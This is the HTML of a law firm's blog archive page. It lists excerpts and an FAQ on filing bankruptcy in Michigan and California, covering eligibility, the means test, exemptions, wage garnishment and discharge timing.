<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-is-the-process-for-filing-bankruptcy-in-michigan/" rel="bookmark"><time class="entry-date published" datetime="2024-01-22T19:29:34+00:00">January 22, 2024</time><time class="updated" datetime="2024-12-09T18:07:22+00:00">December 9, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
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<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2MyIgdmlld0JveD0iMCAwIDEwMDAgNjYzIj48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="663" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_1785437132.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="What Is the Process for Filing Bankruptcy in Michigan?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_1785437132.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_1785437132-300x199.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_1785437132-768x509.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p data-pm-slice="1 3 []"><strong>To file bankruptcy in Michigan, complete a credit counseling course, gather financial documents, file a bankruptcy petition with the court, and attend a 341 meeting. Consulting a bankruptcy attorney ensures compliance with Michigan laws and maximizes the benefits of either Chapter 7 or Chapter 13.</strong></p><p data-pm-slice="1 3 []"> <a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-is-the-process-for-filing-bankruptcy-in-michigan/#more-930" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;What Is the Process for Filing Bankruptcy in Michigan?&#8221;</span></a></p><div class="cta_section" style="background-image:url(https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/10/4.png)"><div class="cta_section_subtitle">Start Your Financial Reset</div><div class="cta_section_title">Embrace A Debt-free Future</div><div class="cta_section_button">
<a class="btn banner-btn" href="tel:(877)969-7482">Free Case Evaluation</a></div></div><div class="contact-faq blog_faqs" itemscope itemtype="https://schema.org/FAQPage" style="margin: 0;padding: 0;"><h2 style="color:#000;">FAQs About Filing Bankruptcy in Michigan</h2><div class="acc-container"><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>What is the Means Test for Bankruptcy in Michigan?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">The means test determines Chapter 7 eligibility by comparing your income to Michigan's median income and deducting allowable expenses.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Can I Keep My Home in a Michigan Bankruptcy?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">Yes, Michigan’s homestead exemption protects up to $46,125 in home equity, allowing many filers to retain their homes.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>What Happens to My Car in a Michigan Bankruptcy?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">You can keep your car if its equity is within Michigan’s vehicle exemption limit of $3,775 or if you reaffirm the loan.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Can Bankruptcy Stop Wage Garnishment in Michigan?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">Yes, filing for bankruptcy triggers an automatic stay that halts wage garnishments and other collection efforts.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Are Student Loans Dischargeable in Michigan Bankruptcy?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">Student loans are rarely dischargeable, but they may be eliminated if undue hardship is proven.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>How Often Can You File Bankruptcy in Michigan?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">You can file Chapter 7 eight years after a previous Chapter 7 discharge, or Chapter 13 two years after a prior Chapter 13 discharge.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>How Do I Choose Between Chapter 7 and Chapter 13?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">Chapter 7 eliminates unsecured debts quickly, while Chapter 13 allows you to catch up on secured debts like a mortgage or car loan.</span></div></div></div></div></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/bankruptcy/" rel="category tag">Bankruptcy</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/how-the-bankruptcy-process-works/" rel="tag">How the Bankruptcy Process Works</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-to-file-for-bankruptcy/" rel="tag">How to file for bankruptcy ?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/michigan-bankruptcy/" rel="tag">Michigan Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/what-can-you-not-do-after-filing-bankruptcies/" rel="tag">what can you not do after filing bankruptcies</a>, <a href="https://www.thebankruptcylawfirm.net/tag/what-qualifies-you-for-bankruptcies/" rel="tag">what qualifies you for bankruptcies</a>, <a href="https://www.thebankruptcylawfirm.net/tag/who-pays-for-bankruptcies/" rel="tag">Who pays for bankruptcies?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-is-the-process-for-filing-bankruptcy-in-michigan/#respond">Leave a Comment<span class="screen-reader-text"> on What Is the Process for Filing Bankruptcy in Michigan?</span></a></span></footer></article><article id="post-929" class="post-929 post type-post status-publish format-standard has-post-thumbnail hentry category-bankruptcy tag-do-i-qualify-for-bankruptcy tag-how-to-qualify-for-bankruptcy tag-michigan-bankruptcy tag-what-are-the-qualifications-to-file-for-bankruptcy tag-what-are-the-requirements-for-bankruptcy tag-who-can-file-for-chapter-7-bankruptcy"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-are-the-eligibility-criteria-for-filing-for-bankruptcy/" rel="bookmark">What Are the Eligibility Criteria for Filing for Bankruptcy in Michigan?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-are-the-eligibility-criteria-for-filing-for-bankruptcy/" rel="bookmark"><time class="entry-date published" datetime="2024-01-22T19:29:31+00:00">January 22, 2024</time><time class="updated" datetime="2024-02-05T22:45:12+00:00">February 5, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
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<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2OCIgdmlld0JveD0iMCAwIDEwMDAgNjY4Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="668" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_704922310.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="What Are the Eligibility Criteria for Filing for Bankruptcy in Michigan?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_704922310.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_704922310-300x200.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_704922310-768x513.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p>Bankruptcy comes in many forms, and two of the most common types of cases in Michigan are Chapter 7 and Chapter 13. Both involve a discharge of qualifying debt, alleviating the financial struggles that drag you down and cause you to miss opportunities. Another reason these proceedings are popular among debtors is that a person can file as an individual, and married couples may opt to file a joint petition. As such, Chapter 7 or Chapter 13 bankruptcy might be a suitable choice that benefits your entire family. When your case is complete, you emerge debt-free.</p><p> <a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-are-the-eligibility-criteria-for-filing-for-bankruptcy/#more-929" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;What Are the Eligibility Criteria for Filing for Bankruptcy in Michigan?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/bankruptcy/" rel="category tag">Bankruptcy</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/do-i-qualify-for-bankruptcy/" rel="tag">Do I Qualify for Bankruptcy?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-to-qualify-for-bankruptcy/" rel="tag">How to Qualify for Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/michigan-bankruptcy/" rel="tag">Michigan Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/what-are-the-qualifications-to-file-for-bankruptcy/" rel="tag">What are the Qualifications to File for Bankruptcy?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/what-are-the-requirements-for-bankruptcy/" rel="tag">What Are the Requirements for Bankruptcy?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/who-can-file-for-chapter-7-bankruptcy/" rel="tag">Who Can File for Chapter 7 Bankruptcy?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-are-the-eligibility-criteria-for-filing-for-bankruptcy/#respond">Leave a Comment<span class="screen-reader-text"> on What Are the Eligibility Criteria for Filing for Bankruptcy in Michigan?</span></a></span></footer></article><article id="post-859" class="post-859 post type-post status-publish format-standard has-post-thumbnail hentry category-bankruptcy tag-can-a-spouse-file-bankruptcy-alone tag-can-bankruptcy-affect-my-partner tag-detroit-bankruptcy tag-how-do-you-survive-personal-bankruptcy tag-michigan-bankruptcy tag-will-bankruptcy-affect-my-spouse"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/can-one-spouse-file-bankruptcy-without-affecting-other-in-detroit/" rel="bookmark">Can One Spouse File Bankruptcy Without Affecting the Other in Michigan?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/bankruptcy/can-one-spouse-file-bankruptcy-without-affecting-other-in-detroit/" rel="bookmark"><time class="entry-date published" datetime="2023-12-20T17:27:59+00:00">December 20, 2023</time><time class="updated" datetime="2024-02-05T22:43:16+00:00">February 5, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
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<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2NyIgdmlld0JveD0iMCAwIDEwMDAgNjY3Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="667" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2271036577.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Can One Spouse File Bankruptcy Without Affecting the Other in Michigan?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2271036577.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2271036577-300x200.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2271036577-768x512.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p>Deciding to file for bankruptcy requires serious consideration of all potential outcomes, your goals for resolving debt, impacts on your credit, and many other factors. When you are married and seeking debt relief through bankruptcy, your situation is slightly more complicated. You must still take these matters into account, but you must also think about your spouse’s interests. If you decide to go through bankruptcy together, you will both be impacted by all proceedings in the case.</p><p> <a href="https://www.thebankruptcylawfirm.net/bankruptcy/can-one-spouse-file-bankruptcy-without-affecting-other-in-detroit/#more-859" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;Can One Spouse File Bankruptcy Without Affecting the Other in Michigan?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/bankruptcy/" rel="category tag">Bankruptcy</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/can-a-spouse-file-bankruptcy-alone/" rel="tag">Can a spouse file bankruptcy alone ?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/can-bankruptcy-affect-my-partner/" rel="tag">Can bankruptcy affect my partner?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/detroit-bankruptcy/" rel="tag">Detroit Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-do-you-survive-personal-bankruptcy/" rel="tag">How do you survive personal bankruptcy?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/michigan-bankruptcy/" rel="tag">Michigan Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/will-bankruptcy-affect-my-spouse/" rel="tag">Will Bankruptcy Affect my Spouse?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/can-one-spouse-file-bankruptcy-without-affecting-other-in-detroit/#respond">Leave a Comment<span class="screen-reader-text"> on Can One Spouse File Bankruptcy Without Affecting the Other in Michigan?</span></a></span></footer></article><article id="post-858" class="post-858 post type-post status-publish format-standard has-post-thumbnail hentry category-wage-garnishments tag-can-bankruptcy-stop-wage-garnishment tag-detroit-bankruptcy tag-how-bankruptcy-can-stop-wage-garnishments tag-how-to-stop-a-garnishment tag-michigan-bankruptcy tag-will-bankruptcy-stop-wage-garnishments"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/wage-garnishments/does-bankruptcy-stop-wage-garnishments-in-detroit/" rel="bookmark">Does Bankruptcy Stop Wage Garnishments in Michigan?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/wage-garnishments/does-bankruptcy-stop-wage-garnishments-in-detroit/" rel="bookmark"><time class="entry-date published" datetime="2023-12-20T17:27:46+00:00">December 20, 2023</time><time class="updated" datetime="2024-02-05T22:46:44+00:00">February 5, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
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<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2NyIgdmlld0JveD0iMCAwIDEwMDAgNjY3Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="667" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_195469847.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Does Bankruptcy Stop Wage Garnishments in Michigan?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_195469847.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_195469847-300x200.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_195469847-768x512.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p>Creditors will often engage in aggressive tactics to communicate with you regarding debt, including calling you at home and contacting you at work. However, there may come a time when a creditor takes legal action that could have a significant impact on your finances and future. By going through the proper process, a company can get an order from a Michigan court that takes part of your earnings to satisfy the debt you owe. The matter is termed wage garnishments in Detroit, and it is one of many options a creditor has to get paid.</p><p> <a href="https://www.thebankruptcylawfirm.net/wage-garnishments/does-bankruptcy-stop-wage-garnishments-in-detroit/#more-858" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;Does Bankruptcy Stop Wage Garnishments in Michigan?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/wage-garnishments/" rel="category tag">Wage Garnishments</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/can-bankruptcy-stop-wage-garnishment/" rel="tag">Can Bankruptcy Stop Wage Garnishment?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/detroit-bankruptcy/" rel="tag">Detroit Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-bankruptcy-can-stop-wage-garnishments/" rel="tag">How Bankruptcy Can Stop Wage Garnishments?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-to-stop-a-garnishment/" rel="tag">How to Stop a Garnishment?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/michigan-bankruptcy/" rel="tag">Michigan Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/will-bankruptcy-stop-wage-garnishments/" rel="tag">Will bankruptcy stop wage garnishments?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/wage-garnishments/does-bankruptcy-stop-wage-garnishments-in-detroit/#respond">Leave a Comment<span class="screen-reader-text"> on Does Bankruptcy Stop Wage Garnishments in Michigan?</span></a></span></footer></article><article id="post-857" class="post-857 post type-post status-publish format-standard has-post-thumbnail hentry category-debt-settlement tag-detroit-bankruptcy tag-how-do-you-get-discharged-from-chapter-13 tag-how-long-does-a-bankruptcy-take tag-how-long-does-it-take-to-receive-discharge tag-michigan-bankruptcy tag-what-gets-discharged-in-chapter-13"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/debt-settlement/how-long-does-it-take-to-get-discharge-in-detroit/" rel="bookmark">How Long Does It Take To Get a Discharge in Michigan?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/debt-settlement/how-long-does-it-take-to-get-discharge-in-detroit/" rel="bookmark"><time class="entry-date published" datetime="2023-12-20T17:27:38+00:00">December 20, 2023</time><time class="updated" datetime="2024-02-05T22:47:30+00:00">February 5, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
<a class="post-thumbnail" href="https://www.thebankruptcylawfirm.net/debt-settlement/how-long-does-it-take-to-get-discharge-in-detroit/" aria-hidden="true" tabindex="-1">
<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2NyIgdmlld0JveD0iMCAwIDEwMDAgNjY3Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="667" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2107355813.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="How Long Does It Take To Get a Discharge in Michigan?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2107355813.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2107355813-300x200.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/12/shutterstock_2107355813-768x512.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p>Debt can get out of hand before you realize it, leaving you struggling to pay bills and fearing legal action from creditors. Despite efforts to make payments and cutting your budget, you may be unable to stay on top of your finances. Unfortunately, the more you fall behind, the more the fees add up. You may have already considered some options for getting out of debt without court, but these are not always the best fit for your situation. Bankruptcy in Michigan may be a wise solution, since it eliminates qualifying debt. One of the first questions for many filers is timing and how long it takes to get a discharge in Detroit.</p><p> <a href="https://www.thebankruptcylawfirm.net/debt-settlement/how-long-does-it-take-to-get-discharge-in-detroit/#more-857" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;How Long Does It Take To Get a Discharge in Michigan?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/debt-settlement/" rel="category tag">Debt Settlement</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/detroit-bankruptcy/" rel="tag">Detroit Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-do-you-get-discharged-from-chapter-13/" rel="tag">How do you get discharged from Chapter 13?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-long-does-a-bankruptcy-take/" rel="tag">How Long Does a Bankruptcy Take?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-long-does-it-take-to-receive-discharge/" rel="tag">How long does it take to receive discharge?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/michigan-bankruptcy/" rel="tag">Michigan Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/what-gets-discharged-in-chapter-13/" rel="tag">What gets discharged in Chapter 13?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/debt-settlement/how-long-does-it-take-to-get-discharge-in-detroit/#respond">Leave a Comment<span class="screen-reader-text"> on How Long Does It Take To Get a Discharge in Michigan?</span></a></span></footer></article><article id="post-537" class="post-537 post type-post status-publish format-standard has-post-thumbnail hentry category-debt-settlement tag-can-you-exclude-loans-from-bankruptcy tag-how-to-file-for-bankruptcy-in-riverside-ca tag-riverside-bankruptcy tag-what-bankruptcy-is-best-for-personal-debt tag-which-bankruptcy-forgives-most-debts"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/debt-settlement/what-debts-can-i-file-bankruptcy-on-in-california/" rel="bookmark">What Debts Can I File Bankruptcy on in California?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/debt-settlement/what-debts-can-i-file-bankruptcy-on-in-california/" rel="bookmark"><time class="entry-date published" datetime="2023-12-04T10:25:57+00:00">December 4, 2023</time><time class="updated" datetime="2024-12-05T20:58:51+00:00">December 5, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
<a class="post-thumbnail" href="https://www.thebankruptcylawfirm.net/debt-settlement/what-debts-can-i-file-bankruptcy-on-in-california/" aria-hidden="true" tabindex="-1">
<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2NyIgdmlld0JveD0iMCAwIDEwMDAgNjY3Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="667" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/09/shutterstock_2036634620.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="What Debts Can I File Bankruptcy on in California?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/09/shutterstock_2036634620.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/09/shutterstock_2036634620-300x200.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2023/09/shutterstock_2036634620-768x512.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p data-pm-slice="1 1 []">For those facing an uphill battle with trying to get control over debt, every day is a source of stress. Not only are creditors calling with threats, but you are watching your debt grow through late fees and interest. There may come a point where you consider a bankruptcy filing in California, and the process is an effective way to get a fresh start with your finances. However, one critical factor to understand is what debts you can file bankruptcy on in CA. You may be surprised to learn what you can and cannot discharge.</p><p> <a href="https://www.thebankruptcylawfirm.net/debt-settlement/what-debts-can-i-file-bankruptcy-on-in-california/#more-537" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;What Debts Can I File Bankruptcy on in California?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/debt-settlement/" rel="category tag">Debt Settlement</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/can-you-exclude-loans-from-bankruptcy/" rel="tag">Can you exclude loans from bankruptcy?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-to-file-for-bankruptcy-in-riverside-ca/" rel="tag">How to file for bankruptcy in Riverside CA?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/riverside-bankruptcy/" rel="tag">Riverside Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/what-bankruptcy-is-best-for-personal-debt/" rel="tag">What bankruptcy is best for personal debt?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/which-bankruptcy-forgives-most-debts/" rel="tag">Which bankruptcy forgives most debts?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/debt-settlement/what-debts-can-i-file-bankruptcy-on-in-california/#respond">Leave a Comment<span class="screen-reader-text"> on What Debts Can I File Bankruptcy on in California?</span></a></span></footer></article><nav class="navigation posts-navigation" aria-label="Posts"><h2 class="screen-reader-text">Posts navigation</h2><div class="nav-links"><div class="nav-previous"><a href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/page/9/" >Older posts</a></div><div class="nav-next"><a href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/page/7/" >Newer posts</a></div></div></nav></main><footer id="FooterZone" style="z-index:1; position:relative;"><section class="ftr v2 ftr-tls dk-bg pd_v-30" id="HomeLocationsFooter" universal_="true" data-onvisible="show-20"> <script type="application/ld+json">{
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